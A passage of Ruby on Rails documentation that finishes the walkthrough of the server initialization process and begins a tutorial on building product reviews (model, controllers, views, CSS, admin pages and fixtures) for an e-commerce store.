After `super` has finished in `Rackup::Server`, we jump back to `rails/commands/server/server_command.rb`. At this point, `set_environment` is called within the context of the `Rails::Server` object.

```
module Rails
  module Server
    def set_environment
      ENV["RAILS_ENV"] ||= options[:environment]
    end
  end
end
```

After `initialize` has finished, we jump back into the server command where `APP_PATH` (which was set earlier) is required.

### [1.8. `config/application`](#config-application)

When `require APP_PATH` is executed, `config/application.rb` is loaded (recall that `APP_PATH` is defined in `bin/rails`). This file exists in your application and it's free for you to change based on your needs.

### [1.9. `Rails::Server#start`](#rails-server-start)

After `config/application` is loaded, `server.start` is called. This method is defined like this:

```
module Rails
  class Server < ::Rackup::Server
    def start(after_stop_callback = nil)
      trap(:INT) { exit }
      create_tmp_directories
      setup_dev_caching
      log_to_stdout if options[:log_stdout]

      super()
      # ...
    end

    private
      def setup_dev_caching
        if options[:environment] == "development"
          Rails::DevCaching.enable_by_argument(options[:caching])
        end
      end

      def create_tmp_directories
        %w(cache pids sockets).each do |dir_to_make|
          FileUtils.mkdir_p(File.join(Rails.root, "tmp", dir_to_make))
        end
      end

      def log_to_stdout
        wrapped_app # touch the app so the logger is set up

        console = ActiveSupport::Logger.new(STDOUT)
        console.formatter = Rails.logger.formatter
        console.level = Rails.logger.level

        unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDERR, STDOUT)
          Rails.logger.broadcast_to(console)
        end
      end
  end
end
```

This method creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the process. As we can see from the code here, it will create the `tmp/cache`, `tmp/pids`, and `tmp/sockets` directories. It then enables caching in development if `bin/rails server` is called with `--dev-caching`. Finally, it calls `wrapped_app` which is responsible for creating the Rack app, before creating and assigning an instance of `ActiveSupport::Logger`.

The `super` method will call `Rackup::Server.start` which begins its definition as follows:

```
module Rackup
  class Server
    def start(&block)
      if options[:warn]
        $-w = true
      end

      if includes = options[:include]
        $LOAD_PATH.unshift(*includes)
      end

      Array(options[:require]).each do |library|
        require library
      end

      if options[:debug]
        $DEBUG = true
        require "pp"
        p options[:server]
        pp wrapped_app
        pp app
      end

      check_pid! if options[:pid]

      # Touch the wrapped app, so that the config.ru is loaded before
      # daemonization (i.e. before chdir, etc).
      handle_profiling(options[:heapfile], options[:profile_mode], options[:profile_file]) do
        wrapped_app
      end

      daemonize_app if options[:daemonize]

      write_pid if options[:pid]

      trap(:INT) do
        if server.respond_to?(:shutdown)
          server.shutdown
        else
          exit
        end
      end

      server.run(wrapped_app, **options, &block)
    end
  end
end
```

The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time we're going to explore more (even though it was executed before, and thus memoized by now).

```
module Rackup
  class Server
    def wrapped_app
      @wrapped_app ||= build_app app
    end
  end
end
```

The `app` method here is defined like so:

```
module Rackup
  class Server
    def app
      @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
    end

    # ...

    private
      def build_app_and_options_from_config
        if !::File.exist? options[:config]
          abort "configuration #{options[:config]} not found"
        end

        Rack::Builder.parse_file(self.options[:config])
      end

      def build_app_from_string
        Rack::Builder.new_from_string(self.options[:builder])
      end
  end
end
```

The `options[:config]` value defaults to `config.ru` which contains this:

```
# This file is used by Rack-based servers to start the application.

require_relative "config/environment"

run Rails.application
Rails.application.load_server
```

The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:

```
module Rack
  class Builder
    def self.load_file(path, **options)
      # ...
      new_from_string(config, path, **options)
    end

    # ...

    def self.new_from_string(builder_script, path = "(rackup)", **options)
      builder = self.new(**options)

      # We want to build a variant of TOPLEVEL_BINDING with self as a Rack::Builder instance.
      # We cannot use instance_eval(String) as that would resolve constants differently.
      binding = BUILDER_TOPLEVEL_BINDING.call(builder)
      eval(builder_script, binding, path)

      builder.to_app
    end
  end
end
```

The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:

```
require_relative "config/environment"
```

### [1.10. `config/environment.rb`](#config-environment-rb)

This file is the common file required by `config.ru` (`bin/rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.

This file begins with requiring `config/application.rb`:

```
require_relative "application"
```

### [1.11. `config/application.rb`](#config-application-rb)

This file requires `config/boot.rb`:

```
require_relative "boot"
```

But only if it hasn't been required before, which would be the case in `bin/rails server` but **wouldn't** be the case with Passenger.

Then the fun begins!

## [2. Loading Rails](#loading-rails)

The next line in `config/application.rb` is:

```
require "rails/all"
```

### [2.1. `railties/lib/rails/all.rb`](#railties-lib-rails-all-rb)

This file is responsible for requiring all the individual frameworks of Rails:

```
require "rails"

%w(
  active_record/railtie
  active_storage/engine
  action_controller/railtie
  action_view/railtie
  action_mailer/railtie
  active_job/railtie
  action_cable/engine
  action_mailbox/engine
  action_text/engine
  rails/test_unit/railtie
).each do |railtie|
  begin
    require railtie
  rescue LoadError
  end
end
```

This is where all the Rails frameworks are loaded and thus made available to the application. We won't go into detail of what happens inside each of those frameworks, but you're encouraged to try and explore them on your own.

For now, just keep in mind that common functionality like Rails engines, I18n and Rails configuration are all being defined here.

### [2.2. Back to `config/environment.rb`](#back-to-config-environment-rb)

The rest of `config/application.rb` defines the configuration for the `Rails::Application` which will be used once the application is fully initialized. When `config/application.rb` has finished loading Rails and defined the application namespace, we go back to `config/environment.rb`. Here, the application is initialized with `Rails.application.initialize!`, which is defined in `rails/application.rb`.

### [2.3. `railties/lib/rails/application.rb`](#railties-lib-rails-application-rb)

The `initialize!` method looks like this:

```
def initialize!(group = :default) # :nodoc:
  raise "Application has been already initialized." if @initialized
  run_initializers(group, self)
  @initialized = true
  self
end
```

You can only initialize an app once. The Railtie [initializers](configuring.html#initializers) are run through the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`:

```
def run_initializers(group = :default, *args)
  return if instance_variable_defined?(:@ran)
  initializers.tsort_each do |initializer|
    initializer.run(*args) if initializer.belongs_to?(group)
  end
  @ran = true
end
```

The `run_initializers` code itself is tricky. What Rails is doing here is traversing all the class ancestors looking for those that respond to an `initializers` method. It then sorts the ancestors by name, and runs them. For example, the `Engine` class will make all the engines available by providing an `initializers` method on them.

The `Rails::Application` class, as defined in `railties/lib/rails/application.rb` defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers prepare the application (like initializing the logger) while the `finisher` initializers (like building the middleware stack) are run last. The `railtie` initializers are the initializers which have been defined on the `Rails::Application` itself and are run between the `bootstrap` and `finisher`.

Do not confuse Railtie initializers overall with the [load\_config\_initializers](configuring.html#using-initializer-files) initializer instance or its associated config initializers in `config/initializers`.

After this is done we go back to `Rackup::Server`.

### [2.4. Rack: lib/rack/server.rb](#rack-lib-rack-server-rb)

Last time we left when the `app` method was being defined:

```
module Rackup
  class Server
    def app
      @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
    end

    # ...

    private
      def build_app_and_options_from_config
        if !::File.exist? options[:config]
          abort "configuration #{options[:config]} not found"
        end

        Rack::Builder.parse_file(self.options[:config])
      end

      def build_app_from_string
        Rack::Builder.new_from_string(self.options[:builder])
      end
  end
end
```

At this point `app` is the Rails app itself (a middleware), and what happens next is Rack will call all the provided middlewares:

```
module Rackup
  class Server
    private
      def build_app(app)
        middleware[options[:environment]].reverse_each do |middleware|
          middleware = middleware.call(self) if middleware.respond_to?(:call)
          next unless middleware
          klass, *args = middleware
          app = klass.new(app, *args)
        end
        app
      end
  end
end
```

Remember, `build_app` was called (by `wrapped_app`) in the last line of `Rackup::Server#start`. Here's how it looked like when we left:

```
server.run(wrapped_app, **options, &block)
```

At this point, the implementation of `server.run` will depend on the server you're using. For example, if you were using Puma, here's what the `run` method would look like:

```
module Rack
  module Handler
    module Puma
      # ...
      def self.run(app, options = {})
        conf = self.config(app, options)

        log_writer = options.delete(:Silent) ? ::Puma::LogWriter.strings : ::Puma::LogWriter.stdio

        launcher = ::Puma::Launcher.new(conf, log_writer: log_writer, events: @events)

        yield launcher if block_given?
        begin
          launcher.run
        rescue Interrupt
          puts "* Gracefully stopping, waiting for requests to finish"
          launcher.stop
          puts "* Goodbye!"
        end
      end
      # ...
    end
  end
end
```

We won't dig into the server configuration itself, but this is the last piece of our journey in the Rails initialization process.

This high level overview will help you understand when your code is executed and how, and overall become a better Rails developer. If you still want to know more, the Rails source code itself is probably the best place to go next.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/product_reviews.html
----

***

## [1. Introduction](#introduction)

An e-commerce store isn't complete these days without product reviews. In this guide, we'll collect reviews for products, average the ratings, and give customers and admins a way to view and filter the reviews.

Let's get started!

## [2. Reviews Model](#reviews-model)

Product reviews typically consist of a 1 to 5 star rating and some text the user wrote about the product.

Let's start by creating the `Review` model to store this data.

```
$ bin/rails generate model Review product:belongs_to user:belongs_to rating:integer body:text images:attachments
```

This model has several attributes and associations:

* `product:belongs_to` associates the `Review` with the `Product`
* `user:belongs_to` associates the `Review` with the `User` who created it
* `rating` is an integer that stores the 1-5 star rating
* `body` stores the text description of the review
* `images` stores images using ActiveStorage

### [2.1. Caches](#caches)

Before we run this migration, let's modify it to add a couple things to the `products` table that we'll need.

1. A counter cache to keep track of a product's total number of reviews
2. A rating column to store the product's average rating

Open `db/migrate/<timestamp>_create_reviews.rb` and add these columns:

```
class CreateReviews < ActiveRecord::Migration[8.0]
  def change
    create_table :reviews do |t|
      t.belongs_to :product, null: false, foreign_key: true
      t.belongs_to :user, null: false, foreign_key: true
      t.integer :rating, null: false
      t.text :body, null: false

      t.timestamps
    end

    add_column :products, :reviews_count, :integer, default: 0
    add_column :products, :rating, :decimal, precision: 2, scale: 1, default: 0
  end
end
```

We used `decimal` as the type for `rating` with a couple options to control how the numbers are stored.

* `precision` is the total number of digits
* `scale` is the number of digits after the decimal

This means we can store up to `9.9`. Two digits in total, with one digit after the decimal sign.

In the terminal, run the migrations to update the database.

```
$ bin/rails db:migrate
== 20260421200530 CreateReviews: migrating ====================================
-- create_table(:reviews)
   -> 0.0036s
-- add_column(:products, :reviews_count, :integer, {default: 0})
   -> 0.0005s
-- add_column(:products, :rating, :decimal, {precision: 2, scale: 1})
   -> 0.0004s
== 20260421200530 CreateReviews: migrated (0.0045s) ===========================
```

Next, let's update the model and validate that every review has a body and rating in `app/models/review.rb`:

```
class Review < ApplicationRecord
  belongs_to :product, counter_cache: true
  belongs_to :user
  has_many_attached :images

  validates :body, presence: true
  validates :rating, presence: true, numericality: { in: 1..5, only_integer: true }
end
```

The `product` association was created by the generator, but we need to add the counter\_cache option so the `reviews_count` column is automatically updated.

The [`numericality`](https://guides.rubyonrails.org/active_record_validations.html#numericality) validator ensures that ratings are integers between 1 and 5.

### [2.2. Associations](#associations)

We also need to add associations to the `Product` and `User` models for reviews.

In `app/models/user.rb`, add the association:

```
class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy
  has_many :reviews, dependent: :destroy
  has_many :wishlists, dependent: :destroy
```

Do the same in `app/models/product.rb`:

```
class Product < ApplicationRecord
  include Notifications

  has_many :reviews, dependent: :destroy
  has_many :subscribers, dependent: :destroy
```

Now we're ready to start collecting product reviews!

## [3. Collecting Reviews](#collecting-reviews)

On the product's show page, we can ask customers to write a review and display all the current reviews. Let's start by letting users create reviews.

### [3.1. Public Product Reviews Routes](#public-product-reviews-routes)

Let's create the routes for product reviews first. Since this is public-facing, we only need the `new` and `create` actions.

In `config/routes.rb`, add the following inside the `resources :products` block:

```
  resources :products do
    resource :wishlist, only: [ :create ], module: :products
    resources :reviews, only: [ :new, :create ], module: :products
    resources :subscribers, only: [ :create ]
```

### [3.2. Product Reviews Partial](#product-reviews-partial)

Next, let's create a partial for the reviews to be rendered on the product show page.

Create `app/views/products/_reviews.html.erb` with the following:

```
<section class="reviews">
  <%= link_to "Write a review", new_product_review_path(product) %>
</section>
```

At the bottom of `app/views/products/show.html.erb`, we can render the partial:

```
<%= render "reviews", product: @product %>
```

We're passing in the product as context here so the partial knows which product to render reviews for.

### [3.3. Add the Reviews Controller](#add-the-reviews-controller)

To render the form, we need to create the controller.

Create `app/controllers/products/reviews_controller.rb` with the following:

```
class Products::ReviewsController < ApplicationController
  before_action :set_product

  def new
    @review = Review.new
  end

  private

  def set_product
    @product = Product.find(params[:product_id])
  end
end
```

This controller uses the nested route to look up the `Product` on each request.

### [3.4. New Review Form](#new-review-form)

Next, let's add the view for collecting reviews.

Create `app/views/products/reviews/new.html.erb` with the following:

```
<h1>Add a review</h1>

<%= form_with model: [@product, @review] do |form| %>
  <fieldset>
    <legend>Rating</legend>
    <div class="rating">
      <% 1.upto(5).each do |i| %>
        <%= form.radio_button :rating, i, required: true, class: "sr-only" %>
        <%= form.label :rating, value: i do %>
          <span aria-hidden="true">★</span>
          <span class="sr-only"><%= pluralize(i, "star") %></span>
        <% end %>
      <% end %>
    </div>
  </fieldset>

  <div>
    <%= form.label :body, style: "display: block;" %>
    <%= form.textarea :body, required: true %>
  </div>

  <div>
    <%= form.label :images, style: "display: block;" %>
    <%= form.file_field :images, multiple: true, accept: "image/*", capture: "environment" %>
  </div>

  <%= form.submit %>
<% end %>
```

We're using a loop to create 5 radio buttons for the different ratings a user could choose.

For image uploads, we're using a file field with a couple attributes that do the following:

* `multiple: true` tells the browser to allow multiple file uploads
* `accept: "image/*"` is a browser hint that filters the file selector to only images
* `capture: "environment"` is used by mobile browsers to enable the camera using the outward-facing camera

### [3.5. Styling the Star Rating Input](#styling-the-star-rating-input)

The stars should be gray by default and turn gold when you select a rating. We can use a few CSS tricks to make this work like you'd expect.

Add the following to `app/assets/stylesheets/application.css` at the bottom:

```
/* Remove default styling for fieldset */
fieldset {
  border: 0;
  padding: 0;
  margin: 0;
}

/* Remove default styling for legend */
legend {
  padding: 0;
}

/* Hide text visually but not from screen readers */
.sr-only {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap;
  border: 0;
}

.rating {
  display: flex;
}

/* Mute all stars by default */
.rating label {
  color: lightgray;
}

/* Highlight the selected/focused/hovered star and all previous ones */
.rating input:is(:checked, :focus) + label,
.rating label:has(~ input:is(:checked, :focus)),
.rating label:hover,
.rating label:has(~ input + label:hover) {
  color: gold;
}

/* Outline visible focused inputs */
.rating input:focus-visible + label {
  outline: .2em solid;
  outline-offset: 2px;
}
```

There are a few things going on here:

1. The ratings display as stars, but screen reader users hear clear indications like `Rating, 1 star, radio button, 1 of 5`
2. The radio buttons are hidden but keyboard accessible
3. When a radio is checked, focused or hovered, the star labels before it are colored gold

CSS allows us to select previous siblings using `:has(~ input:checked)` and `:has(~ input + label:hover)`. This selector targets labels for all the lower stars when the user selects a rating. If they choose 3 stars, the selector colors the stars 1, 2, and 3 with gold.

### [3.6. Creating Reviews](#creating-reviews)

Next, we need to save reviews in the database when the form is submitted.

Add the `create` action to the controller:

```
class Products::ReviewsController < ApplicationController
  before_action :set_product

  def new
    @review = Review.new
  end

  def create
    @review = @product.reviews.new(review_params)
    if @review.save
      redirect_to @product, notice: "Review was created successfully."
    else
      render :new, status: :unprocessable_content
    end
  end

  private

  def set_product
    @product = Product.find(params[:product_id])
  end

  def review_params
    params.expect(review: [ :rating, :body, images: [] ]).with_defaults(user: Current.user)
  end
end
```

Since we used the Rails authentication generator, this controller is only accessible to authenticated users. This lets us associate the review with a `User` automatically by merging it in `review_params` to ensure the association is always set.

## [4. Displaying Product Reviews](#displaying-product-reviews)

We need to a way to view these product reviews next. Let's use a two-column layout that shows an overview of ratings on the left and the reviews on the right.

### [4.1. Rendering Reviews](#rendering-reviews)

First, let's query the reviews in `app/controllers/products_controller.rb`:

```
class ProductsController < ApplicationController
  allow_unauthenticated_access

  def index
    @products = Product.all
  end

  def show
    @product = Product.find(params[:id])
    @reviews = @product.reviews.with_attached_images
  end
end
```

[`with_attached_images`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/Model.html#method-i-with_attached_-2A) allows us to preload all the associated ActiveStorage images for these reviews to avoid N+1 queries.

Let's update `app/views/products/show.html.erb` to also pass along `@reviews` to the partial so it knows which reviews to render.

```
<%= render "reviews", product: @product, reviews: @reviews %>
```

### [4.2. Calculating Rating Percentages](#calculating-rating-percentages)

Let's add a method to calculate the percentage of reviews at a specific rating. Given a rating of `4`, this will return the percentage of reviews with a 4 star rating.

Add the following to `app/models/product.rb`:

```
class Product < ApplicationRecord
  # ...

  def rating_percentage(rating)
    (reviews.where(rating: rating).count.to_f / reviews_count * 100).round
  end
end
```

We can use this to display each rating and their percentage of reviews with that rating.

### [4.3. Product Reviews Layout](#product-reviews-layout)

Let's update `app/views/products/_reviews.html.erb` to display that information alongside the reviews.

```
<section class="reviews">
  <aside>
    <h3>Reviews</h3>

    <% if product.reviews_count > 0 %>
      <div role="img" aria-label="<%= product.rating.round %> out of 5 stars">
        <% 5.times do |i| %>
          <%= tag.span "★", class: (i < product.rating.round ? "gold" : "gray"), aria: { hidden: true } %>
        <% end %>
        <%= product.rating %> out of 5
      </div>

      <div><%= pluralize product.reviews_count, "review" %></div>

      <div>
        <% 5.downto(1).each do |i| %>
          <%= link_to product_path(product, rating: i), class: "review__summary", aria: { label: "#{pluralize(i, "star")} — #{product.rating_percentage(i)}% of reviews" } do %>
            <div aria-hidden="true">
              <div class="review__stars"><%= i %></div>
              <div class="gold">★</div>
              <div class="review__bars">
                <div class="review__bar--background"></div>
                <div class="review__bar" style="width: <%= product.rating_percentage(i) %>%;"></div>
              </div>
              <div class="review__percentage"><%= product.rating_percentage(i) %>%</div>
            </div>
          <% end %>
        <% end %>
      </div>
    <% else %>
      <p>None yet!</p>
    <% end %>

    <%= link_to "Write a review", new_product_review_path(product) %>
  </aside>

  <div>
    <%= render reviews %>
  </div>
</section>
```

For the review bars, we use a div to display a gray background. Then we overlay a gold bar with an inline style with the width set to the percentage of reviews with that rating.

Let's add the CSS for this to get the two-column layout and styling for the ratings in the sidebar.

Add the following to `app/assets/stylesheets/application.css`:

```
section.reviews {
  display: grid;
  grid-template-columns: 250px 1fr;
  margin-top: 2rem;
  gap: 2rem;
}

.review__summary {
  display: flex;
  align-items: center;
  margin-top: 0.25rem;
}

.review__stars {
  width: 1rem;
}

.review__bars {
  position: relative;
  flex: 1;
  display: flex;
  margin: 0px 5px;
}
.review__bar--background {
  background:#eee;
  border-radius: 15px;
  flex: 1;
  height: 12px;
}
.review__bar {
  background: gold;
  border-radius: 15px;
  position: absolute;
  inset-block: 0;
}

.review__percentage {
  text-align: right;
  width: 2.5rem;
}

.review {
  padding: 1rem;
}

.review__images {
  margin-top: 1em;
  display: flex;
  flex-wrap: wrap;
  gap: 0.5rem;
}
```

### [4.4. Reviews Partial](#reviews-partial)

Let's add `app/views/reviews/_review.html.erb` so the individual reviews can be displayed.

```
<%= tag.div id: dom_id(review), class: "review" do %>
  <div><%= tag.strong review.user.full_name %></div>
  <div role="img" aria-label="<%= review.rating %> out of 5 stars">
    <% 5.times do |i| %>
      <%= tag.span "★", class: (i < review.rating ? "gold" : "gray"), aria: { hidden: true } %>
    <% end %>
  </div>

  <%= review.body %>

  <% if review.images.attached? %>
    <div class="review__images">
      <% review.images.each do |image| %>
        <%= link_to image, target: :_blank, title: "View full-size image (opens in new tab)", aria: { label: "View full-size image (opens in new tab)" } do %>
          <%= image_tag image.variant(resize_to_limit: [150, 150]), alt: "" %>
        <% end %>
      <% end %>
    </div>
  <% end %>
<% end %>
```

Under the review's author name, the loop counts from 1 to 5 and adds stars that are marked gray or gold if the number is within the rating for this review.

### [4.5. Updating the Average Rating Cache](#updating-the-average-rating-cache)

You may have noticed the product's rating is always `0.0 out of 5`.

When reviews are created, we save the rating but we don't actually update the average rating on the `Product`.

To solve this, we can add a callback to the `Review` model to update the associated `Product` rating. This works very similarly to a counter cache, but instead we're calcuating an average.

Let's add the callback to `app/models/review.rb`:

```
class Review < ApplicationRecord
  belongs_to :product, counter_cache: true
  belongs_to :user
  has_many_attached :images

  validates :body, presence: true
  validates :rating, presence: true, numericality: { in: 1..5, only_integer: true }

  after_commit :update_product_rating

  def update_product_rating
    product.update_column(:rating, product.reviews.average(:rating)&.round(1))
  end
end
```

We're using `after_commit` so this runs after a record has been created, updated, or destroyed so the average is always up-to-date.

Using `update_column` bypasses validations, callbacks, and timestamp updates on the `Product` so we can make a fast update to the record without triggering additional changes.

Try this out by opening the Rails console and calling this method on a review.

```
Loading development environment (Rails 8.2.0)
store(dev)> Review.last.update_product_rating
  Review Load (0.1ms)  SELECT "reviews".* FROM "reviews" ORDER BY "reviews"."id" DESC LIMIT 1 /*application='Store'*/
  Product Load (0.0ms)  SELECT "products".* FROM "products" WHERE "products"."id" = 1 LIMIT 1 /*application='Store'*/
  Review Average (0.1ms)  SELECT AVG("reviews"."rating") FROM "reviews" WHERE "reviews"."product_id" = 1 /*application='Store'*/
  Product Update (0.1ms)  UPDATE "products" SET "rating" = 4.0 WHERE "products"."id" = 1 /*application='Store'*/
=> true
```

The logs show it used SQL to calculate the average rating for the product and updated the product's rating column with the value.

## [5. Filtering reviews](#filtering-reviews)

It's helpful to filter reviews to find what's good and bad about a product. Our sidebar already has links to the product with a query param for filtering the rating, so let's use that in the controller to filter the reviews to the rating.

In `app/models/review.rb`, add the following scope:

```
class Review < ApplicationRecord
  belongs_to :product, counter_cache: true
  belongs_to :user
  has_many_attached :images

  scope :rated, ->(rating) { rating.present? ? where(rating: rating.to_i) : all }

  validates :body, :rating, presence: true

  after_commit :update_product_rating

  def update_product_rating
    product.update_column(:rating, product.reviews.average(:rating)&.round(1))
  end
end
```

This scope accepts a `rating` argument and filters the query to reviews matching this rating. If nil or an empty string was passed, it will return all reviews.

The scope also handles invalid ratings safely. For example, `rated("foo")` will call `"foo".to_i` which returns `0` and will return reviews with a rating of 0. Since `0` is not a valid rating, there will be no reviews returned.

Let's update `app/controllers/products_controller.rb` to use this new scope.

```
class ProductsController < ApplicationController
  allow_unauthenticated_access

  def index
    @products = Product.all
  end

  def show
    @product = Product.find(params[:id])
    @reviews = @product.reviews.with_attached_images.rated(params[:rating])
  end
end
```

Passing `params[:rating]` lets users filter reviews with a query param. There are several things that can happen:

* If the URL contains `?rating=3`, this will only return reviews with a rating of 3.
* If this `rating` param is empty or missing, it will return all reviews.
* If the rating param has an invalid value like `?rating=foo`, it will return no reviews.

Let's update `app/views/products/_reviews.html.erb` to display the filter and a way to clear it.

```
<section class="reviews">
  <aside>
    <%# ... %>
  </aside>

  <div>
    <% if params[:rating] %>
      <div>
        Filtered by <%= pluralize params[:rating].to_i, "star" %>.
        <%= link_to "Clear filter", product %>
      </div>
    <% end %>

    <%= render reviews %>
  </div>
</section>
```

Test out filtering by clicking on a rating on the left to filter reviews. Use the "Clear filter" link to show all reviews.

## [6. Managing reviews](#managing-reviews)

Admins need the ability to delete spam reviews, fix typos, and correct other mistakes. Let's build that next.

To start, let's add a resources route in `config/routes.rb` in the store namespace for reviews.

```
# Admins Only
namespace :store do
  resources :products
  resources :reviews
  resources :users
  resources :wishlists
  resources :subscribers
end
```

We can then implement the controller for this in `app/controllers/store/reviews_controller.rb`:

```
class Store::ReviewsController < Store::BaseController
  before_action :set_review, except: [ :index ]

  def index
    @reviews = Review.includes(:product, :user).with_attached_images.filter_by(params)
  end

  def show
  end

  def edit
  end

  def update
    if @review.update(review_params)
      redirect_to store_review_path(@review)
    else
      render :edit, status: :unprocessable_content
    end
  end

  def destroy
    @review.destroy
    redirect_to store_reviews_path
  end

  private

  def set_review
    @review = Review.find(params[:id])
  end

  def review_params
    params.expect(review: [ :rating, :body, images: [] ])
  end
end
```

To allow the index to filter by ratings, products, and users, let's add a `filter_by` method like we did for the `Wishlist` model.

Add the following to `app/models/review.rb`:

```
class Review < ApplicationRecord
  belongs_to :product, counter_cache: true
  belongs_to :user
  has_many_attached :images

  scope :rated, ->(rating) { rating.present? ? where(rating: rating.to_i) : all }

  validates :body, presence: true
  validates :rating, presence: true, numericality: { in: 1..5, only_integer: true }

  after_commit :update_product_rating

  def self.filter_by(params)
    results = rated(params[:rating])
    results = results.where(product_id: params[:product_id]) if params[:product_id].present?
    results = results.where(user_id: params[:user_id]) if params[:user_id].present?
    results
  end

  def update_product_rating
    product.update_column(:rating, product.reviews.average(:rating)&.round(1))
  end
end
```

### [6.1. Sidebar Link](#sidebar-link)

To access reviews in the navigation, let's add a link to the sidebar in the layout.

Add the following to `app/views/layouts/settings.html.erb`:

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Email", settings_email_path %>
      <%= link_to "Password", settings_password_path %>
      <%= link_to "Account", settings_user_path %>

      <% if Current.user.admin? %>
        <h4>Store Settings</h4>
        <%= link_to "Products", store_products_path %>
        <%= link_to "Reviews", store_reviews_path %>
        <%= link_to "Users", store_users_path %>
        <%= link_to "Subscribers", store_subscribers_path %>
        <%= link_to "Wishlists", store_wishlists_path %>
      <% end %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

Let's also add a link to the product's show page in `app/views/store/products/show.html.erb`:

```
<%# ... %>

<section>
  <%= link_to pluralize(@product.reviews_count, "review"), store_reviews_path(product_id: @product.id) %>
  <%= link_to pluralize(@product.wishlists_count, "wishlist"), store_wishlists_path(product_id: @product.id) %>
  <%= link_to pluralize(@product.subscribers_count, "subscriber"), store_subscribers_path(product_id: @product.id) %>
</section>
```

This will make it easy to jump to a product's reviews in the admin area.

### [6.2. Index View & Partial](#index-view-partial)

Let's create the index view next in `app/views/store/reviews/index.html.erb`:

```
<h1>Reviews</h1>

<%= form_with url: store_reviews_path, method: :get do |form| %>
  <%= form.collection_select :product_id, Product.all, :id, :name, selected: params[:product_id], include_blank: "All Products" %>
  <%= form.select :rating, 5.downto(1).map{ pluralize it, "star" }, selected: params[:rating], include_blank: "All Ratings" %>
  <%= form.collection_select :user_id, User.all, :id, :full_name, selected: params[:user_id], include_blank: "All Users" %>
  <%= form.submit "Filter" %>
<% end %>

<%= render @reviews %>
```

Next, let's create the reviews partial in the store namespace. This will look very similar to the public version, but with some additional context since we're viewing reviews for any product.

Create `app/views/store/reviews/_review.html.erb` with the following:

```
<%= tag.div id: dom_id(review), class: "review" do %>
  <div><%= link_to review.user.full_name, store_user_path(review.user) %> reviewed <%= link_to review.product.name, store_product_path(review.product) %></div>
  <div role="img" aria-label="<%= review.rating %> out of 5 stars">
    <% 5.times do |i| %>
      <%= tag.span "★", class: (i < review.rating ? "gold" : "gray"), aria: { hidden: true } %>
    <% end %>
  </div>

  <%= review.body %>

  <% if review.images.attached? %>
    <div class="review__images">
      <% review.images.each do |image| %>
        <%= link_to image, target: :_blank, title: "View full-size image (opens in new tab)", aria: { label: "View full-size image (opens in new tab)" } do %>
          <%= image_tag image.variant(resize_to_limit: [150, 150]), alt: "" %>
        <% end %>
      <% end %>
    </div>
  <% end %>

  <div>
    <%= link_to "View review", store_review_path(review) %>
  </div>
<% end %>
```

### [6.3. Show View](#show-view)

Let's create the show view next in `app/views/store/reviews/show.html.erb`:

```
<%= link_to "Back to all reviews", store_reviews_path %>

<h1>Review</h1>

<%= tag.div id: dom_id(@review), class: "review" do %>
  <div><%= link_to @review.user.full_name, store_user_path(@review.user) %> reviewed <%= link_to @review.product.name, store_product_path(@review.product) %></div>
  <div>
    <% 5.times do |i| %>
      <%= tag.span "★", class: (i < @review.rating.round ? "gold" : "gray") %>
    <% end %>
  </div>

  <%= @review.body %>

  <% if @review.images.attached? %>
    <div class="review__images">
      <% @review.images.each do |image| %>
        <%= link_to image_tag(image.variant(resize_to_limit: [150, 150])), image, target: :_blank %>
      <% end %>
    </div>
  <% end %>
<% end %>

<div>
  <%= link_to "Edit", edit_store_review_path(@review) %>
  <%= button_to "Delete", store_review_path(@review), method: :delete, data: {turbo_confirm: "Are you sure?"} %>
</div>
```

### [6.4. Edit View](#edit-view)

Last, but not least, let's create the edit view in `app/views/store/reviews/edit.html.erb`

```
<h1>Edit Review</h1>

<%= form_with model: [:store, @review] do |form| %>
  <fieldset>
    <legend>Rating</legend>
    <div class="rating">
      <% 1.upto(5).each do |i| %>
        <%= form.radio_button :rating, i, required: true, class: "sr-only" %>
        <%= form.label :rating, value: i do %>
          <span aria-hidden="true">★</span>
          <span class="sr-only"><%= pluralize(i, "star") %></span>
        <% end %>
      <% end %>
    </div>
  </fieldset>

  <div>
    <%= form.label :body, style: "display: block;" %>
    <%= form.textarea :body, required: true %>
  </div>

  <div>
    <%= form.label :images, style: "display: block;" %>
    <%= form.file_field :images, multiple: true, accept: "image/*", capture: "environment" %>

    <% form.object.images.each do |image| %>
      <div>
        <%= image_tag image.variant(resize_to_limit: [150, 150]) %>
        <%= form.hidden_field :images, value: image.signed_id, multiple: true, id: nil %>
        <button onclick="this.parentElement.remove()">Remove</button>
      </div>
    <% end %>
  </div>

  <%= form.submit %>
<% end %>
```

By default, Rails will replace all of the existing images when a new value is assigned. To preserve existing images when editing a review, we need to create hidden fields for each image that's already uploaded. These hidden fields use the image's `signed_id` to reference the existing ActiveRecord object and also ensures that it wasn't tampered with. We use `multiple: true` so Rails generates the correct name to add the `images` param as an array. We also disable the `id` generated for this fields since it would generate duplicates and we don't need them.

With that added, store admins can now view, edit, and delete reviews as needed.

## [7. Testing reviews](#testing-reviews)

Before we finish, we should write some tests to ensure that the functionality we just built works.

### [7.1. Updating Review Fixtures](#updating-review-fixtures)

Rails generated two `Review` test fixtures for us in `test/fixtures/reviews.yml`, however we need to update them to point to the `tshirt` product fixture.

```
five_star:
  product: tshirt
  user: one
  rating: 5
  body: I love this.

four_star:
  product: tshirt
